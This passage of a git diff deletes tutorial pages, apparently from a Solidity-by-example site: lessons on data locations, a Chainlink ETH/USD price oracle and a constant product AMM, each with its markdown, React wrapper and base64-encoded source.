"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludFtdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQgPT4gYWRkcmVzcykgbWFwOwogICAgc3RydWN0IE15U3RydWN0IHsKICAgICAgICB1aW50IGZvbzsKICAgIH0KICAgIG1hcHBpbmcodWludCA9PiBNeVN0cnVjdCkgbXlTdHJ1Y3RzOwoKICAgIGZ1bmN0aW9uIGYoKSBwdWJsaWMgewogICAgICAgIC8vIGNhbGwgX2Ygd2l0aCBzdGF0ZSB2YXJpYWJsZXMKICAgICAgICBfZihhcnIsIG1hcCwgbXlTdHJ1Y3RzWzFdKTsKCiAgICAgICAgLy8gZ2V0IGEgc3RydWN0IGZyb20gYSBtYXBwaW5nCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBteVN0cnVjdCA9IG15U3RydWN0c1sxXTsKICAgICAgICAvLyBjcmVhdGUgYSBzdHJ1Y3QgaW4gbWVtb3J5CiAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15TWVtU3RydWN0ID0gTXlTdHJ1Y3QoMCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2YoCiAgICAgICAgdWludFtdIHN0b3JhZ2UgX2FyciwKICAgICAgICBtYXBwaW5nKHVpbnQgPT4gYWRkcmVzcykgc3RvcmFnZSBfbWFwLAogICAgICAgIE15U3RydWN0IHN0b3JhZ2UgX215U3RydWN0CiAgICApIGludGVybmFsIHsKICAgICAgICAvLyBkbyBzb21ldGhpbmcgd2l0aCBzdG9yYWdlIHZhcmlhYmxlcwogICAgfQoKICAgIC8vIFlvdSBjYW4gcmV0dXJuIG1lbW9yeSB2YXJpYWJsZXMKICAgIGZ1bmN0aW9uIGcodWludFtdIG1lbW9yeSBfYXJyKSBwdWJsaWMgcmV0dXJucyAodWludFtdIG1lbW9yeSkgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIG1lbW9yeSBhcnJheQogICAgfQoKICAgIGZ1bmN0aW9uIGgodWludFtdIGNhbGxkYXRhIF9hcnIpIGV4dGVybmFsIHsKICAgICAgICAvLyBkbyBzb21ldGhpbmcgd2l0aCBjYWxsZGF0YSBhcnJheQogICAgfQp9Cg==", - }, -] - -const html = `

Variables are declared as either storage, memory or calldata to explicitly -specify the location of the data.

-
    -
  • storage - variable is a state variable (store on blockchain)
  • -
  • memory - variable is in memory and it exists while a function is being called
  • -
  • calldata - special data location that contains function arguments
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract DataLocations {
-    uint[] public arr;
-    mapping(uint => address) map;
-    struct MyStruct {
-        uint foo;
-    }
-    mapping(uint => MyStruct) myStructs;
-
-    function f() public {
-        // call _f with state variables
-        _f(arr, map, myStructs[1]);
-
-        // get a struct from a mapping
-        MyStruct storage myStruct = myStructs[1];
-        // create a struct in memory
-        MyStruct memory myMemStruct = MyStruct(0);
-    }
-
-    function _f(
-        uint[] storage _arr,
-        mapping(uint => address) storage _map,
-        MyStruct storage _myStruct
-    ) internal {
-        // do something with storage variables
-    }
-
-    // You can return memory variables
-    function g(uint[] memory _arr) public returns (uint[] memory) {
-        // do something with memory array
-    }
-
-    function h(uint[] calldata _arr) external {
-        // do something with calldata array
-    }
-}
-
` - -export default html diff --git a/src/pages/data-locations/index.md b/src/pages/data-locations/index.md deleted file mode 100644 index 3d96cb3f6..000000000 --- a/src/pages/data-locations/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Data Locations - Storage, Memory and Calldata -version: 0.8.20 -description: Data locations - storage, memory and calldata -keywords: [data, location, locations, storage, memory, calldata] ---- - -Variables are declared as either `storage`, `memory` or `calldata` to explicitly -specify the location of the data. - -- `storage` - variable is a state variable (store on blockchain) -- `memory` - variable is in memory and it exists while a function is being called -- `calldata` - special data location that contains function arguments - -```solidity -{{{DataLocations}}} -``` diff --git a/src/pages/data-locations/index.tsx b/src/pages/data-locations/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/data-locations/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/chainlink-price-oracle/Chainlink.sol b/src/pages/defi/chainlink-price-oracle/Chainlink.sol deleted file mode 100644 index 386442fc4..000000000 --- a/src/pages/defi/chainlink-price-oracle/Chainlink.sol +++ /dev/null @@ -1,38 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -// import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; - -contract ChainlinkPriceOracle { - AggregatorV3Interface internal priceFeed; - - constructor() { - // ETH / USD - priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); - } - - function getLatestPrice() public view returns (int) { - ( - uint80 roundID, - int price, - uint startedAt, - uint timeStamp, - uint80 answeredInRound - ) = priceFeed.latestRoundData(); - // for ETH / USD price is scaled up by 10 ** 8 - return price / 1e8; - } -} - -interface AggregatorV3Interface { - function latestRoundData() - external - view - returns ( - uint80 roundId, - int answer, - uint startedAt, - uint updatedAt, - uint80 answeredInRound - ); -} diff --git a/src/pages/defi/chainlink-price-oracle/index.html.ts b/src/pages/defi/chainlink-price-oracle/index.html.ts deleted file mode 100644 index 014245a32..000000000 --- a/src/pages/defi/chainlink-price-oracle/index.html.ts +++ /dev/null @@ -1,56 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Chainlink Price Oracle" -export const description = "Chainlink Price Oracle" - -export const keywords = ["defi", "chainlink", "price", "oracle", "oracles"] - -export const codes = [ - { - fileName: "Chainlink.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIGltcG9ydCAiQGNoYWlubGluay9jb250cmFjdHMvc3JjL3YwLjgvaW50ZXJmYWNlcy9BZ2dyZWdhdG9yVjNJbnRlcmZhY2Uuc29sIjsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0gQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQgcHJpY2UsCiAgICAgICAgICAgIHVpbnQgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAgaW50IGFuc3dlciwKICAgICAgICAgICAgdWludCBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo=", - }, -] - -const html = `

ETH / USD Price Oracle

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-// import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
-
-contract ChainlinkPriceOracle {
-    AggregatorV3Interface internal priceFeed;
-
-    constructor() {
-        // ETH / USD
-        priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
-    }
-
-    function getLatestPrice() public view returns (int) {
-        (
-            uint80 roundID,
-            int price,
-            uint startedAt,
-            uint timeStamp,
-            uint80 answeredInRound
-        ) = priceFeed.latestRoundData();
-        // for ETH / USD price is scaled up by 10 ** 8
-        return price / 1e8;
-    }
-}
-
-interface AggregatorV3Interface {
-    function latestRoundData()
-        external
-        view
-        returns (
-            uint80 roundId,
-            int answer,
-            uint startedAt,
-            uint updatedAt,
-            uint80 answeredInRound
-        );
-}
-
` - -export default html diff --git a/src/pages/defi/chainlink-price-oracle/index.md b/src/pages/defi/chainlink-price-oracle/index.md deleted file mode 100644 index d06805de7..000000000 --- a/src/pages/defi/chainlink-price-oracle/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Chainlink Price Oracle -version: 0.8.20 -description: Chainlink Price Oracle -keywords: [defi, chainlink, price, oracle, oracles] ---- - -### ETH / USD Price Oracle - -```solidity -{{{Chainlink}}} -``` diff --git a/src/pages/defi/chainlink-price-oracle/index.tsx b/src/pages/defi/chainlink-price-oracle/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/chainlink-price-oracle/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/constant-product-amm/CPAMM.sol b/src/pages/defi/constant-product-amm/CPAMM.sol deleted file mode 100644 index f5d2abf52..000000000 --- a/src/pages/defi/constant-product-amm/CPAMM.sol +++ /dev/null @@ -1,245 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract CPAMM { - IERC20 public immutable token0; - IERC20 public immutable token1; - - uint public reserve0; - uint public reserve1; - - uint public totalSupply; - mapping(address => uint) public balanceOf; - - constructor(address _token0, address _token1) { - token0 = IERC20(_token0); - token1 = IERC20(_token1); - } - - function _mint(address _to, uint _amount) private { - balanceOf[_to] += _amount; - totalSupply += _amount; - } - - function _burn(address _from, uint _amount) private { - balanceOf[_from] -= _amount; - totalSupply -= _amount; - } - - function _update(uint _reserve0, uint _reserve1) private { - reserve0 = _reserve0; - reserve1 = _reserve1; - } - - function swap(address _tokenIn, uint _amountIn) external returns (uint amountOut) { - require( - _tokenIn == address(token0) || _tokenIn == address(token1), - "invalid token" - ); - require(_amountIn > 0, "amount in = 0"); - - bool isToken0 = _tokenIn == address(token0); - (IERC20 tokenIn, IERC20 tokenOut, uint reserveIn, uint reserveOut) = isToken0 - ? (token0, token1, reserve0, reserve1) - : (token1, token0, reserve1, reserve0); - - tokenIn.transferFrom(msg.sender, address(this), _amountIn); - - /* - How much dy for dx? - - xy = k - (x + dx)(y - dy) = k - y - dy = k / (x + dx) - y - k / (x + dx) = dy - y - xy / (x + dx) = dy - (yx + ydx - xy) / (x + dx) = dy - ydx / (x + dx) = dy - */ - // 0.3% fee - uint amountInWithFee = (_amountIn * 997) / 1000; - amountOut = (reserveOut * amountInWithFee) / (reserveIn + amountInWithFee); - - tokenOut.transfer(msg.sender, amountOut); - - _update(token0.balanceOf(address(this)), token1.balanceOf(address(this))); - } - - function addLiquidity(uint _amount0, uint _amount1) external returns (uint shares) { - token0.transferFrom(msg.sender, address(this), _amount0); - token1.transferFrom(msg.sender, address(this), _amount1); - - /* - How much dx, dy to add? - - xy = k - (x + dx)(y + dy) = k' - - No price change, before and after adding liquidity - x / y = (x + dx) / (y + dy) - - x(y + dy) = y(x + dx) - x * dy = y * dx - - x / y = dx / dy - dy = y / x * dx - */ - if (reserve0 > 0 || reserve1 > 0) { - require(reserve0 * _amount1 == reserve1 * _amount0, "x / y != dx / dy"); - } - - /* - How much shares to mint? - - f(x, y) = value of liquidity - We will define f(x, y) = sqrt(xy) - - L0 = f(x, y) - L1 = f(x + dx, y + dy) - T = total shares - s = shares to mint - - Total shares should increase proportional to increase in liquidity - L1 / L0 = (T + s) / T - - L1 * T = L0 * (T + s) - - (L1 - L0) * T / L0 = s - */ - - /* - Claim - (L1 - L0) / L0 = dx / x = dy / y - - Proof - --- Equation 1 --- - (L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy) - - dx / dy = x / y so replace dy = dx * y / x - - --- Equation 2 --- - Equation 1 = (sqrt(xy + 2ydx + dx^2 * y / x) - sqrt(xy)) / sqrt(xy) - - Multiply by sqrt(x) / sqrt(x) - Equation 2 = (sqrt(x^2y + 2xydx + dx^2 * y) - sqrt(x^2y)) / sqrt(x^2y) - = (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2)) - - sqrt(y) on top and bottom cancels out - - --- Equation 3 --- - Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2) - = (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2) - = ((x + dx) - x) / x - = dx / x - - Since dx / dy = x / y, - dx / x = dy / y - - Finally - (L1 - L0) / L0 = dx / x = dy / y - */ - if (totalSupply == 0) { - shares = _sqrt(_amount0 * _amount1); - } else { - shares = _min( - (_amount0 * totalSupply) / reserve0, - (_amount1 * totalSupply) / reserve1 - ); - } - require(shares > 0, "shares = 0"); - _mint(msg.sender, shares); - - _update(token0.balanceOf(address(this)), token1.balanceOf(address(this))); - } - - function removeLiquidity( - uint _shares - ) external returns (uint amount0, uint amount1) { - /* - Claim - dx, dy = amount of liquidity to remove - dx = s / T * x - dy = s / T * y - - Proof - Let's find dx, dy such that - v / L = s / T - - where - v = f(dx, dy) = sqrt(dxdy) - L = total liquidity = sqrt(xy) - s = shares - T = total supply - - --- Equation 1 --- - v = s / T * L - sqrt(dxdy) = s / T * sqrt(xy) - - Amount of liquidity to remove must not change price so - dx / dy = x / y - - replace dy = dx * y / x - sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x) - - Divide both sides of Equation 1 with sqrt(y / x) - dx = s / T * sqrt(xy) / sqrt(y / x) - = s / T * sqrt(x^2) = s / T * x - - Likewise - dy = s / T * y - */ - - // bal0 >= reserve0 - // bal1 >= reserve1 - uint bal0 = token0.balanceOf(address(this)); - uint bal1 = token1.balanceOf(address(this)); - - amount0 = (_shares * bal0) / totalSupply; - amount1 = (_shares * bal1) / totalSupply; - require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0"); - - _burn(msg.sender, _shares); - _update(bal0 - amount0, bal1 - amount1); - - token0.transfer(msg.sender, amount0); - token1.transfer(msg.sender, amount1); - } - - function _sqrt(uint y) private pure returns (uint z) { - if (y > 3) { - z = y; - uint x = y / 2 + 1; - while (x < z) { - z = x; - x = (y / x + x) / 2; - } - } else if (y != 0) { - z = 1; - } - } - - function _min(uint x, uint y) private pure returns (uint) { - return x <= y ? x : y; - } -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint amount); - event Approval(address indexed owner, address indexed spender, uint amount); -} diff --git a/src/pages/defi/constant-product-amm/index.html.ts b/src/pages/defi/constant-product-amm/index.html.ts deleted file mode 100644 index 982620b7b..000000000 --- a/src/pages/defi/constant-product-amm/index.html.ts +++ /dev/null @@ -1,263 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Constant Product AMM" -export const description = "Constant product AMM" - -export const keywords = ["defi", "constant", "product", "amm"] - -export const codes = [ - { - fileName: "CPAMM.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENQQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICB0b2tlbjAgPSBJRVJDMjAoX3Rva2VuMCk7CiAgICAgICAgdG9rZW4xID0gSUVSQzIwKF90b2tlbjEpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50IF9hbW91bnQpIHByaXZhdGUgewogICAgICAgIGJhbGFuY2VPZltfdG9dICs9IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgKz0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50IF9hbW91bnQpIHByaXZhdGUgewogICAgICAgIGJhbGFuY2VPZltfZnJvbV0gLT0gX2Ftb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIF91cGRhdGUodWludCBfcmVzZXJ2ZTAsIHVpbnQgX3Jlc2VydmUxKSBwcml2YXRlIHsKICAgICAgICByZXNlcnZlMCA9IF9yZXNlcnZlMDsKICAgICAgICByZXNlcnZlMSA9IF9yZXNlcnZlMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQgX2Ftb3VudEluKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKSB8fCBfdG9rZW5JbiA9PSBhZGRyZXNzKHRva2VuMSksCiAgICAgICAgICAgICJpbnZhbGlkIHRva2VuIgogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShfYW1vdW50SW4gPiAwLCAiYW1vdW50IGluID0gMCIpOwoKICAgICAgICBib29sIGlzVG9rZW4wID0gX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApOwogICAgICAgIChJRVJDMjAgdG9rZW5JbiwgSUVSQzIwIHRva2VuT3V0LCB1aW50IHJlc2VydmVJbiwgdWludCByZXNlcnZlT3V0KSA9IGlzVG9rZW4wCiAgICAgICAgICAgID8gKHRva2VuMCwgdG9rZW4xLCByZXNlcnZlMCwgcmVzZXJ2ZTEpCiAgICAgICAgICAgIDogKHRva2VuMSwgdG9rZW4wLCByZXNlcnZlMSwgcmVzZXJ2ZTApOwoKICAgICAgICB0b2tlbkluLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50SW4pOwoKICAgICAgICAvKgogICAgICAgIEhvdyBtdWNoIGR5IGZvciBkeD8KCiAgICAgICAgeHkgPSBrCiAgICAgICAgKHggKyBkeCkoeSAtIGR5KSA9IGsKICAgICAgICB5IC0gZHkgPSBrIC8gKHggKyBkeCkKICAgICAgICB5IC0gayAvICh4ICsgZHgpID0gZHkKICAgICAgICB5IC0geHkgLyAoeCArIGR4KSA9IGR5CiAgICAgICAgKHl4ICsgeWR4IC0geHkpIC8gKHggKyBkeCkgPSBkeQogICAgICAgIHlkeCAvICh4ICsgZHgpID0gZHkKICAgICAgICAqLwogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgdWludCBhbW91bnRJbldpdGhGZWUgPSAoX2Ftb3VudEluICogOTk3KSAvIDEwMDA7CiAgICAgICAgYW1vdW50T3V0ID0gKHJlc2VydmVPdXQgKiBhbW91bnRJbldpdGhGZWUpIC8gKHJlc2VydmVJbiArIGFtb3VudEluV2l0aEZlZSk7CgogICAgICAgIHRva2VuT3V0LnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudE91dCk7CgogICAgICAgIF91cGRhdGUodG9rZW4wLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgdG9rZW4xLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSk7CiAgICB9CgogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KHVpbnQgX2Ftb3VudDAsIHVpbnQgX2Ftb3VudDEpIGV4dGVybmFsIHJldHVybnMgKHVpbnQgc2hhcmVzKSB7CiAgICAgICAgdG9rZW4wLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50MCk7CiAgICAgICAgdG9rZW4xLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50MSk7CgogICAgICAgIC8qCiAgICAgICAgSG93IG11Y2ggZHgsIGR5IHRvIGFkZD8KCiAgICAgICAgeHkgPSBrCiAgICAgICAgKHggKyBkeCkoeSArIGR5KSA9IGsnCgogICAgICAgIE5vIHByaWNlIGNoYW5nZSwgYmVmb3JlIGFuZCBhZnRlciBhZGRpbmcgbGlxdWlkaXR5CiAgICAgICAgeCAvIHkgPSAoeCArIGR4KSAvICh5ICsgZHkpCgogICAgICAgIHgoeSArIGR5KSA9IHkoeCArIGR4KQogICAgICAgIHggKiBkeSA9IHkgKiBkeAoKICAgICAgICB4IC8geSA9IGR4IC8gZHkKICAgICAgICBkeSA9IHkgLyB4ICogZHgKICAgICAgICAqLwogICAgICAgIGlmIChyZXNlcnZlMCA+IDAgfHwgcmVzZXJ2ZTEgPiAwKSB7CiAgICAgICAgICAgIHJlcXVpcmUocmVzZXJ2ZTAgKiBfYW1vdW50MSA9PSByZXNlcnZlMSAqIF9hbW91bnQwLCAieCAvIHkgIT0gZHggLyBkeSIpOwogICAgICAgIH0KCiAgICAgICAgLyoKICAgICAgICBIb3cgbXVjaCBzaGFyZXMgdG8gbWludD8KCiAgICAgICAgZih4LCB5KSA9IHZhbHVlIG9mIGxpcXVpZGl0eQogICAgICAgIFdlIHdpbGwgZGVmaW5lIGYoeCwgeSkgPSBzcXJ0KHh5KQoKICAgICAgICBMMCA9IGYoeCwgeSkKICAgICAgICBMMSA9IGYoeCArIGR4LCB5ICsgZHkpCiAgICAgICAgVCA9IHRvdGFsIHNoYXJlcwogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAoKICAgICAgICBUb3RhbCBzaGFyZXMgc2hvdWxkIGluY3JlYXNlIHByb3BvcnRpb25hbCB0byBpbmNyZWFzZSBpbiBsaXF1aWRpdHkKICAgICAgICBMMSAvIEwwID0gKFQgKyBzKSAvIFQKCiAgICAgICAgTDEgKiBUID0gTDAgKiAoVCArIHMpCgogICAgICAgIChMMSAtIEwwKSAqIFQgLyBMMCA9IHMgCiAgICAgICAgKi8KCiAgICAgICAgLyoKICAgICAgICBDbGFpbQogICAgICAgIChMMSAtIEwwKSAvIEwwID0gZHggLyB4ID0gZHkgLyB5CgogICAgICAgIFByb29mCiAgICAgICAgLS0tIEVxdWF0aW9uIDEgLS0tCiAgICAgICAgKEwxIC0gTDApIC8gTDAgPSAoc3FydCgoeCArIGR4KSh5ICsgZHkpKSAtIHNxcnQoeHkpKSAvIHNxcnQoeHkpCiAgICAgICAgCiAgICAgICAgZHggLyBkeSA9IHggLyB5IHNvIHJlcGxhY2UgZHkgPSBkeCAqIHkgLyB4CgogICAgICAgIC0tLSBFcXVhdGlvbiAyIC0tLQogICAgICAgIEVxdWF0aW9uIDEgPSAoc3FydCh4eSArIDJ5ZHggKyBkeF4yICogeSAvIHgpIC0gc3FydCh4eSkpIC8gc3FydCh4eSkKCiAgICAgICAgTXVsdGlwbHkgYnkgc3FydCh4KSAvIHNxcnQoeCkKICAgICAgICBFcXVhdGlvbiAyID0gKHNxcnQoeF4yeSArIDJ4eWR4ICsgZHheMiAqIHkpIC0gc3FydCh4XjJ5KSkgLyBzcXJ0KHheMnkpCiAgICAgICAgICAgICAgICAgICA9IChzcXJ0KHkpKHNxcnQoeF4yICsgMnhkeCArIGR4XjIpIC0gc3FydCh4XjIpKSAvIChzcXJ0KHkpc3FydCh4XjIpKQogICAgICAgIAogICAgICAgIHNxcnQoeSkgb24gdG9wIGFuZCBib3R0b20gY2FuY2VscyBvdXQKCiAgICAgICAgLS0tIEVxdWF0aW9uIDMgLS0tCiAgICAgICAgRXF1YXRpb24gMiA9IChzcXJ0KHheMiArIDJ4ZHggKyBkeF4yKSAtIHNxcnQoeF4yKSkgLyAoc3FydCh4XjIpCiAgICAgICAgPSAoc3FydCgoeCArIGR4KV4yKSAtIHNxcnQoeF4yKSkgLyBzcXJ0KHheMikgIAogICAgICAgID0gKCh4ICsgZHgpIC0geCkgLyB4CiAgICAgICAgPSBkeCAvIHgKCiAgICAgICAgU2luY2UgZHggLyBkeSA9IHggLyB5LAogICAgICAgIGR4IC8geCA9IGR5IC8geQoKICAgICAgICBGaW5hbGx5CiAgICAgICAgKEwxIC0gTDApIC8gTDAgPSBkeCAvIHggPSBkeSAvIHkKICAgICAgICAqLwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9zcXJ0KF9hbW91bnQwICogX2Ftb3VudDEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9taW4oCiAgICAgICAgICAgICAgICAoX2Ftb3VudDAgKiB0b3RhbFN1cHBseSkgLyByZXNlcnZlMCwKICAgICAgICAgICAgICAgIChfYW1vdW50MSAqIHRvdGFsU3VwcGx5KSAvIHJlc2VydmUxCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIHJlcXVpcmUoc2hhcmVzID4gMCwgInNoYXJlcyA9IDAiKTsKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwoKICAgICAgICBfdXBkYXRlKHRva2VuMC5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSksIHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICB1aW50IF9zaGFyZXMKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnQwLCB1aW50IGFtb3VudDEpIHsKICAgICAgICAvKgogICAgICAgIENsYWltCiAgICAgICAgZHgsIGR5ID0gYW1vdW50IG9mIGxpcXVpZGl0eSB0byByZW1vdmUKICAgICAgICBkeCA9IHMgLyBUICogeAogICAgICAgIGR5ID0gcyAvIFQgKiB5CgogICAgICAgIFByb29mCiAgICAgICAgTGV0J3MgZmluZCBkeCwgZHkgc3VjaCB0aGF0CiAgICAgICAgdiAvIEwgPSBzIC8gVAogICAgICAgIAogICAgICAgIHdoZXJlCiAgICAgICAgdiA9IGYoZHgsIGR5KSA9IHNxcnQoZHhkeSkKICAgICAgICBMID0gdG90YWwgbGlxdWlkaXR5ID0gc3FydCh4eSkKICAgICAgICBzID0gc2hhcmVzCiAgICAgICAgVCA9IHRvdGFsIHN1cHBseQoKICAgICAgICAtLS0gRXF1YXRpb24gMSAtLS0KICAgICAgICB2ID0gcyAvIFQgKiBMCiAgICAgICAgc3FydChkeGR5KSA9IHMgLyBUICogc3FydCh4eSkKCiAgICAgICAgQW1vdW50IG9mIGxpcXVpZGl0eSB0byByZW1vdmUgbXVzdCBub3QgY2hhbmdlIHByaWNlIHNvIAogICAgICAgIGR4IC8gZHkgPSB4IC8geQoKICAgICAgICByZXBsYWNlIGR5ID0gZHggKiB5IC8geAogICAgICAgIHNxcnQoZHhkeSkgPSBzcXJ0KGR4ICogZHggKiB5IC8geCkgPSBkeCAqIHNxcnQoeSAvIHgpCgogICAgICAgIERpdmlkZSBib3RoIHNpZGVzIG9mIEVxdWF0aW9uIDEgd2l0aCBzcXJ0KHkgLyB4KQogICAgICAgIGR4ID0gcyAvIFQgKiBzcXJ0KHh5KSAvIHNxcnQoeSAvIHgpCiAgICAgICAgICAgPSBzIC8gVCAqIHNxcnQoeF4yKSA9IHMgLyBUICogeAoKICAgICAgICBMaWtld2lzZQogICAgICAgIGR5ID0gcyAvIFQgKiB5CiAgICAgICAgKi8KCiAgICAgICAgLy8gYmFsMCA+PSByZXNlcnZlMAogICAgICAgIC8vIGJhbDEgPj0gcmVzZXJ2ZTEKICAgICAgICB1aW50IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIGFtb3VudDAgPSAoX3NoYXJlcyAqIGJ